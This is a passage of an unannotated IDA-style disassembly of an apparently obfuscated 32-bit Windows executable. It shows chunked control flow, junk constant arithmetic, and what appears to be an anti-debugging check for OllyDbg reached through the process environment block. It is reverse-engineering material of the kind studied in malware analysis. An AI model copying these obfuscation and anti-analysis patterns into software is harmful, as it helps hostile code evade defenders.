; END OF FUNCTION CHUNK	FOR sub_4064E6
; START	OF FUNCTION CHUNK FOR sub_40600B


loc_40B389:				; CODE XREF: sub_40600B+2804j
					; _837l4vi2:loc_40C0D6j ...
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	7FE0C5B8h
		pop	ebx
		and	ebx, 0ABEFF277h
		jmp	loc_409669
; END OF FUNCTION CHUNK	FOR sub_40600B
; ---------------------------------------------------------------------------


loc_40B39F:				; CODE XREF: _837l4vi2:0040A342j
		mov	[edi], eax
		pop	edi
		jmp	loc_40C949

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3A7	proc near		; CODE XREF: sub_40E927j

; FUNCTION CHUNK AT 0040561F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004086B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A589 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C55B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040D947 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40A589
sub_40B3A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3B0	proc near		; CODE XREF: sub_40A1CD+7p
					; _837l4vi2:0041016Fj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040C003 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040C339 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040EB8D SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		add	ebx, 3D454F9h
		xchg	ebx, [esp-4+arg_0]
		call	sub_41045F
		jmp	loc_40EB8D
sub_40B3B0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B3C8:				; CODE XREF: _837l4vi2:0040CE27j
		jmp	loc_409FBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_40B3CD:				; CODE XREF: sub_40C5BE:loc_4074BCj
		jmp	nullsub_158
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
		xchg	eax, edx
		push	edx
		xchg	eax, edx
; START	OF FUNCTION CHUNK FOR sub_40B088


loc_40B3D7:				; CODE XREF: sub_40B088:loc_409D1Ej
		rol	eax, 3
		mov	ds:dword_40B634, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40B088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D6D7


loc_40B3E1:				; CODE XREF: sub_40D6D7:loc_409149j
		xor	eax, 0D6DD8D27h
		call	sub_405686
; END OF FUNCTION CHUNK	FOR sub_40D6D7
; START	OF FUNCTION CHUNK FOR sub_40AC43


loc_40B3EC:				; CODE XREF: sub_40AC43+1BB1j
		jge	loc_408127


loc_40B3F2:				; CODE XREF: sub_40F4F4+18j
		jmp	loc_40C690
; END OF FUNCTION CHUNK	FOR sub_40AC43
; ---------------------------------------------------------------------------
		xor	ebp, edx
		jmp	loc_40811E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40B3FE:				; CODE XREF: sub_40966E:loc_40CA96j
		mov	eax, large fs:30h
		add	eax, 54h
		call	sub_410BD3
; END OF FUNCTION CHUNK	FOR sub_40966E
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40B40D:				; CODE XREF: sub_40C162-4722j
		jmp	loc_409ACE
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40B412:				; CODE XREF: sub_4061B1:loc_407F27j
		add	ecx, 0BD38D9F6h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_406477
; END OF FUNCTION CHUNK	FOR sub_4061B1

; =============== S U B	R O U T	I N E =======================================



sub_40B420	proc near		; CODE XREF: sub_409AA3+1EC7p
					; _837l4vi2:0040FBCBj
		xchg	eax, [esp+0]
		pop	eax
		push	8DD14AD1h
		pop	eax
		xor	eax, 69DF5BEDh
		jmp	loc_40B1D6
sub_40B420	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_40B435:				; CODE XREF: sub_4061E8+7FD9j
		test	eax, 0F15C3B24h
		jmp	loc_408DE8
; END OF FUNCTION CHUNK	FOR sub_4061E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F141


loc_40B441:				; CODE XREF: sub_40F141+Aj
		jmp	loc_40D547
; END OF FUNCTION CHUNK	FOR sub_40F141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40B446:				; CODE XREF: sub_40C1F0-717Aj
					; _837l4vi2:loc_40616Bj ...
		jns	loc_40EB38
		test	eax, 2
		jz	loc_40990B


loc_40B457:				; CODE XREF: sub_407AD3:loc_40C36Fj
		push	83BB8E64h
		mov	eax, offset sub_405950
		jmp	loc_40594C
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_40B466:				; CODE XREF: _837l4vi2:loc_4063A9j
		cmp	eax, edi
		jmp	loc_40514E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407D0C


loc_40B46D:				; CODE XREF: sub_407D0C+10j
		add	ebx, ebp
		add	ebx, 15EB2D62h
		call	sub_40C162

locret_40B47A:				; CODE XREF: sub_40DFF5:loc_40DB25j
		retn
; END OF FUNCTION CHUNK	FOR sub_407D0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40B47B:				; CODE XREF: sub_4108AF+5j
		jmp	loc_40D7BE
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40B480:				; CODE XREF: sub_405BB4+6563j
		jmp	loc_40A39D
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405686


loc_40B485:				; CODE XREF: sub_405686+Cj
		jmp	loc_40721A
; END OF FUNCTION CHUNK	FOR sub_405686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085D7


loc_40B48A:				; CODE XREF: sub_4085D7:loc_4092DCj
		div	dword ptr [ebp-8]
		mov	[ebp-0Ch], edx
		jmp	loc_40D7D2
; END OF FUNCTION CHUNK	FOR sub_4085D7
; ---------------------------------------------------------------------------


loc_40B495:				; CODE XREF: _837l4vi2:004082C0j
		xor	edx, ebp
		rol	edx, 5
		add	edx, esp
		rol	edx, 5
		push	ebx
		push	0B9B8B7F7h
		jmp	loc_40EA56
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_40DB2F
		push	esi
		push	7F1919DAh
		jmp	loc_40CE45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E739


loc_40B4BD:				; CODE XREF: sub_40E739+1Aj
		cmp	[ebp+var_4], 0
		jz	loc_40B991
		call	sub_40538C
; END OF FUNCTION CHUNK	FOR sub_40E739
; START	OF FUNCTION CHUNK FOR sub_40DB41


loc_40B4CC:				; CODE XREF: sub_40DB41+4j
		test	byte ptr [ebp-8], 8


loc_40B4D0:				; CODE XREF: _837l4vi2:loc_40FFBDj
		jz	loc_406B0B
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40B4E8
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_406B0B
; END OF FUNCTION CHUNK	FOR sub_40DB41

; =============== S U B	R O U T	I N E =======================================



sub_40B4E8	proc near		; CODE XREF: sub_40DB41-2667p

; FUNCTION CHUNK AT 00406B15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409BB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C539 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040C540 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040E6D9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040F08D SIZE 0000001D BYTES

		push	ebp
		jmp	loc_409BB4
sub_40B4E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40B4EE:				; CODE XREF: sub_4078C8+8D9Cj
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]


loc_40B4FA:				; CODE XREF: _837l4vi2:00410653j
		shr	eax, 0Bh
		xor	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Fh
		jmp	loc_40D776
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_40D31D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406732


loc_40B511:				; CODE XREF: sub_406732+11j
		ja	loc_409C88
		and	eax, ebp
		jmp	loc_40AC63
; END OF FUNCTION CHUNK	FOR sub_406732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_40B51E:				; CODE XREF: sub_406BF8+6211j
		jb	loc_405D71
		call	sub_40D263
; END OF FUNCTION CHUNK	FOR sub_406BF8

; =============== S U B	R O U T	I N E =======================================



sub_40B529	proc near		; DATA XREF: sub_40CC4A+9o
		add	esp, 0FFFFFFE4h
		call	sub_4055D2


loc_40B531:				; CODE XREF: sub_40AF01+Bj
		jmp	nullsub_37
sub_40B529	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_40B536:				; CODE XREF: sub_4056BA+11j
		jmp	loc_40E631
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40B53B:				; CODE XREF: sub_40D7F5-24CBj
		push	offset loc_40CE73
		jmp	loc_410EF6
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_40B545:				; CODE XREF: sub_408567+5D25j
		xor	esi, 0F46EFEEh
		and	ebp, edx
		xchg	eax, [ecx]
		jmp	loc_4090F0
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 12h
		mov	ds:dword_40D40C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4105F8


loc_40B55F:				; CODE XREF: sub_4105F8+704j
		jmp	loc_40B8EF
; END OF FUNCTION CHUNK	FOR sub_4105F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F9E


loc_40B564:				; CODE XREF: sub_405F9E+11j
		jmp	loc_40BDD2
; END OF FUNCTION CHUNK	FOR sub_405F9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40B569:				; CODE XREF: sub_407B23:loc_407B2Dj
					; _837l4vi2:0040AD98j
		cdq
		sub	eax, edi
		js	loc_40E8F2
		jmp	loc_40B920
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_40B577:				; CODE XREF: _837l4vi2:loc_410D13j
		jz	loc_4107E1
		jmp	loc_4090B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40B582:				; CODE XREF: sub_40833D+10j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_40B991
		call	sub_40DEDE


loc_40B596:				; CODE XREF: sub_40CEC1-5317j
		shr	esi, 18h
		jmp	loc_4083EF
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
		add	esi, 73C69C28h
		jmp	loc_4091DF

; =============== S U B	R O U T	I N E =======================================



sub_40B5A9	proc near		; CODE XREF: sub_407B63+5p
					; _837l4vi2:00409AFEj
		xchg	edi, [esp+0]
		pop	edi


loc_40B5AD:				; CODE XREF: _837l4vi2:004101A2j
		test	eax, eax
		jz	loc_4092D0
		push	ebx
		jmp	loc_40E9E2
sub_40B5A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40B5BB:				; CODE XREF: sub_405D62+822Dj
		cmp	edx, 0B45CEF41h
		jmp	loc_40A16B
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40B5C6:				; CODE XREF: sub_4053DD:loc_40B614j
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 19h
		jnz	loc_40C2C7
		jmp	loc_409901
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------


loc_40B5D8:				; DATA XREF: sub_40C162+4366o
		push	eax
		push	edi
		push	0F9FA1B82h
		pop	edi
		jmp	loc_4074A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40B5E5:				; CODE XREF: sub_40E294:loc_40DC7Ej
		rol	esi, 19h
		add	ebp, ecx
		jmp	loc_40EF30
; END OF FUNCTION CHUNK	FOR sub_40E294
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407D7F


loc_40B5F0:				; CODE XREF: sub_407D7F+3j
		jmp	loc_4069A0
; END OF FUNCTION CHUNK	FOR sub_407D7F

; =============== S U B	R O U T	I N E =======================================



sub_40B5F5	proc near		; CODE XREF: _837l4vi2:0040CD24p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		call	sub_40B99D
		retn
sub_40B5F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B601	proc near		; CODE XREF: sub_4096C0+3F05p
					; sub_40D85F+3127p ...

; FUNCTION CHUNK AT 00407BCE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C743 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E72D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040FA77 SIZE 0000000A BYTES

		jno	loc_40FA77
		push	ebp
		mov	ebp, esp
		jmp	loc_40C743
sub_40B601	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2Bh
dword_40B610	dd 699EF901h	; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40B614:				; CODE XREF: sub_4053DD+6EFBj
		jmp	loc_40B5C6
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
		db 4Fh,	0A3h, 0EFh
dword_40B61C	dd 0CBE407F8h						; sub_40848F-237w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407853


loc_40B620:				; CODE XREF: sub_407853+Aj
		jmp	loc_40F4CB
; END OF FUNCTION CHUNK	FOR sub_407853
; ---------------------------------------------------------------------------
		db 0E8h, 7Ah, 96h
dword_40B628	dd 5AF901FAh						; _837l4vi2:00408D87w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40B62C:				; CODE XREF: sub_4099A5+9j
		jmp	loc_407E76
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
		db 67h,	0Bh, 4Eh
dword_40B634	dd 0E405CE8Bh						; _837l4vi2:0040E77Ar
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E7E1


loc_40B638:				; CODE XREF: sub_40E7E1-5D53j
		jmp	loc_408A82
; END OF FUNCTION CHUNK	FOR sub_40E7E1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B63E:				; CODE XREF: _837l4vi2:00406CD2j
		ja	loc_4102EA
		shr	esi, 4
		rol	ebx, 15h
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_40B64A:				; CODE XREF: sub_40CA5A+39BEj
		sub	eax, 230E7296h
		add	eax, 1B46B8EEh
		jmp	loc_408ACF
; END OF FUNCTION CHUNK	FOR sub_40CA5A

; =============== S U B	R O U T	I N E =======================================



sub_40B65B	proc near		; CODE XREF: sub_40B362:loc_408A35p

; FUNCTION CHUNK AT 0040AA35 SIZE 00000005 BYTES

		mov	[esp+0], ecx


loc_40B65E:				; CODE XREF: _837l4vi2:loc_40EBB9j
		push	esi
		push	edi
		mov	esi, eax
		push	offset loc_40A042
		jmp	loc_40AA35
sub_40B65B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_40B66C:				; CODE XREF: sub_40C5BE:loc_40562Fj
		xchg	edi, [esp+4+var_4]
		call	sub_409926
		push	eax


loc_40B675:				; CODE XREF: _837l4vi2:0040C126j
		call	dword ptr [ebp-4]
		jmp	loc_40FA5C
; END OF FUNCTION CHUNK	FOR sub_40C5BE

; =============== S U B	R O U T	I N E =======================================



sub_40B67D	proc near		; DATA XREF: sub_40ABD5-30BEo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 004059BA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00405D2F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00405E77 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00405E97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407221 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004072B4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004074EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407B32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407E14 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00409844 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409E51 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A72B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040AC2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B23B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040BDB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BE2C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040C478 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DAA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DF0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC94 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040F261 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040F3F3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040F9E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410131 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004107CC SIZE 00000013 BYTES

		mov	edx, [edx]
		shr	edx, 3
		mov	ecx, ds:dword_40AB9C
		or	[ecx+edx], al
		push	0DAF1B144h
		pop	ecx
		jmp	loc_40BDB0
sub_40B67D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_40B696:				; CODE XREF: sub_40A7F9:loc_40AF66j
					; sub_40A7F9:loc_40F4AFj
		push	eax
		push	4F408EA4h
		pop	eax
		sub	eax, 0D39C7AB4h
		xor	eax, 2C7AD51Ah
		add	eax, 0A862213Eh
		xchg	eax, [esp+0]
		jmp	loc_40FE89
; END OF FUNCTION CHUNK	FOR sub_40A7F9
; ---------------------------------------------------------------------------
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jz	loc_405746
		jmp	loc_40E458
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B6CA:				; CODE XREF: _837l4vi2:0040D3DBj
		jmp	locret_4059CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDE4


loc_40B6CF:				; CODE XREF: sub_40BDE4+Bj
		jmp	loc_4072A9
; END OF FUNCTION CHUNK	FOR sub_40BDE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_40B6D4:				; CODE XREF: sub_40DBCC:loc_408593j
		call	sub_4056BA
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; START	OF FUNCTION CHUNK FOR sub_40C5A3


loc_40B6D9:				; CODE XREF: sub_40C5A3+16j
		jl	loc_40CED8
; END OF FUNCTION CHUNK	FOR sub_40C5A3
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40B6DF:				; CODE XREF: sub_408736+14j
		jmp	loc_40A206
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_40B6E4:				; CODE XREF: sub_40F812-7B68j
		jmp	loc_40E938
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40B6E9:				; CODE XREF: sub_405BB4+11j
		jmp	loc_409776
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
		js	loc_40FA62
		add	ecx, ebp
		mov	esi, ecx
		cdq
		jmp	loc_409915
; ---------------------------------------------------------------------------


loc_40B6FE:				; CODE XREF: _837l4vi2:00406BE8j
		sub	esi, 262C8861h
		push	offset loc_40AD49
		jmp	loc_408F76
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B70F:				; CODE XREF: _837l4vi2:0040A51Fj
		jmp	loc_408166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40B714:				; CODE XREF: sub_409D6B-820j
		add	eax, 833E005h
		sub	eax, 5112F4A2h
		xor	eax, 1D039984h
		add	eax, ebp
		add	eax, 0E7EDF3DBh
		call	sub_41018A


loc_40B733:				; CODE XREF: _837l4vi2:0041054Fj
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_40B738:				; CODE XREF: _837l4vi2:004094C4j
		jmp	loc_40675A
; ---------------------------------------------------------------------------


loc_40B73D:				; DATA XREF: _837l4vi2:0040B038o
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40B749:				; CODE XREF: sub_40D735-86F0j
					; sub_410D95-60BEj ...
		jnz	loc_40D050
		cmp	dword ptr [ebp-4], 4
		jnz	loc_405D9D


loc_40B759:				; CODE XREF: _837l4vi2:00408C30j
		jmp	loc_40C580
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_40B75E	proc near		; CODE XREF: _837l4vi2:00407C78p
					; _837l4vi2:0040F35Cj

; FUNCTION CHUNK AT 0040FDCD SIZE 0000000F BYTES

		mov	[esp+0], edi
		pop	edi
		push	edx
		push	0A165CBE4h
		jmp	loc_40FDCD
sub_40B75E	endp

; ---------------------------------------------------------------------------


loc_40B76D:				; CODE XREF: _837l4vi2:00405595j
		push	ecx
		push	eax
		push	ebx
		push	edx
		or	eax, ebx
		not	ecx
		jmp	loc_4096BB

; =============== S U B	R O U T	I N E =======================================



sub_40B77A	proc near		; CODE XREF: _837l4vi2:00406971j
					; sub_40D735-11C0p

; FUNCTION CHUNK AT 0040D2CB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040E550 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410331 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 90E782C5h
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_40E550
sub_40B77A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushf
		jnb	loc_40A29E
		jmp	sub_407287

; =============== S U B	R O U T	I N E =======================================



sub_40B7A1	proc near		; CODE XREF: sub_4087B2+2p
					; sub_407FEA:loc_40EF8Fp ...

; FUNCTION CHUNK AT 00408421 SIZE 00000005 BYTES

		jnb	sub_406834
		push	ebp


loc_40B7A8:				; CODE XREF: _837l4vi2:loc_4093AAj
		mov	ebp, esp
		push	offset sub_40EFBF
		jmp	loc_408421
sub_40B7A1	endp

; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: _837l4vi2:0040C4F3j
		jnz	loc_40C2C2
		jmp	loc_4074E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E7E1


loc_40B7BF:				; CODE XREF: sub_40E7E1+Cj
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_408A89
		mov	dword ptr [ebp-8], 1
		jmp	loc_408A82
; END OF FUNCTION CHUNK	FOR sub_40E7E1

; =============== S U B	R O U T	I N E =======================================



sub_40B7D8	proc near		; CODE XREF: sub_40E7E1j

; FUNCTION CHUNK AT 0040C19F SIZE 00000006 BYTES

		push	ebp
		jmp	loc_40C19F
sub_40B7D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7DE	proc near		; DATA XREF: sub_409218+6o

; FUNCTION CHUNK AT 00405162 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00406B1A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409F94 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040DFD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F933 SIZE 00000012 BYTES

		push	ebp
		call	sub_4059FC


loc_40B7E4:				; CODE XREF: _837l4vi2:loc_409B7Ej
		div	ecx
		mov	[ebp-1Ch], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, 3FDh
		jmp	loc_406B1A
sub_40B7DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40B7F6:				; CODE XREF: sub_4065B8:loc_4076BFj
		mov	eax, [ebp-8]


loc_40B7F9:				; CODE XREF: sub_407882:loc_40797Dj
		call	sub_40CF01
; END OF FUNCTION CHUNK	FOR sub_4065B8
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_40B7FE:				; CODE XREF: sub_40A799+216Dj
		jmp	nullsub_1
; END OF FUNCTION CHUNK	FOR sub_40A799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406178


loc_40B803:				; CODE XREF: sub_406178+Cj
		add	esi, 0CCF03686h
		mov	[esi], eax
		pop	esi
		call	sub_40CE0E


loc_40B811:				; CODE XREF: sub_406834:loc_4076DEj
		mov	[edx-8], eax


loc_40B814:				; CODE XREF: sub_406834-8BEj
					; sub_406834:loc_406BA8j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_406178
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40B821:				; CODE XREF: sub_407EF6+7862j
		jmp	loc_4096CF
; END OF FUNCTION CHUNK	FOR sub_407EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40B826:				; CODE XREF: sub_409D6B:loc_41006Ej
		pop	eax
		sbb	ecx, 7CA44C8Eh
		jmp	loc_40ECCD
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B088


loc_40B832:				; CODE XREF: sub_40B088:loc_40EB92j
		mov	ebp, esp
		jnb	sub_40C255
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_406B6C
		call	sub_407FEA
		cmp	ds:dword_406B78, 0
		jnz	loc_40EC53
		jmp	loc_4067C2
; END OF FUNCTION CHUNK	FOR sub_40B088

; =============== S U B	R O U T	I N E =======================================



sub_40B859	proc near		; CODE XREF: sub_40926F:loc_40A347p
					; _837l4vi2:0040EDD4j

; FUNCTION CHUNK AT 00405746 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00406B64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004078EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040798C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00408287 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040889E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A9B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C454 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C835 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D332 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D83B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040E4CD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E803 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0041010B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410F3D SIZE 0000001B BYTES

		mov	[esp+0], ecx
		pop	ecx
		shr	edx, 3
		push	0A436A9BFh
		pop	ecx
		or	ecx, 28231AD9h
		jmp	loc_40D332
sub_40B859	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B871	proc near		; DATA XREF: sub_4053DD+664o
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-70h]
		push	eax
		call	dword ptr [ebp-4]
		jmp	loc_40CCD1
sub_40B871	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40B880:				; CODE XREF: sub_4053DD:loc_40C2C7j
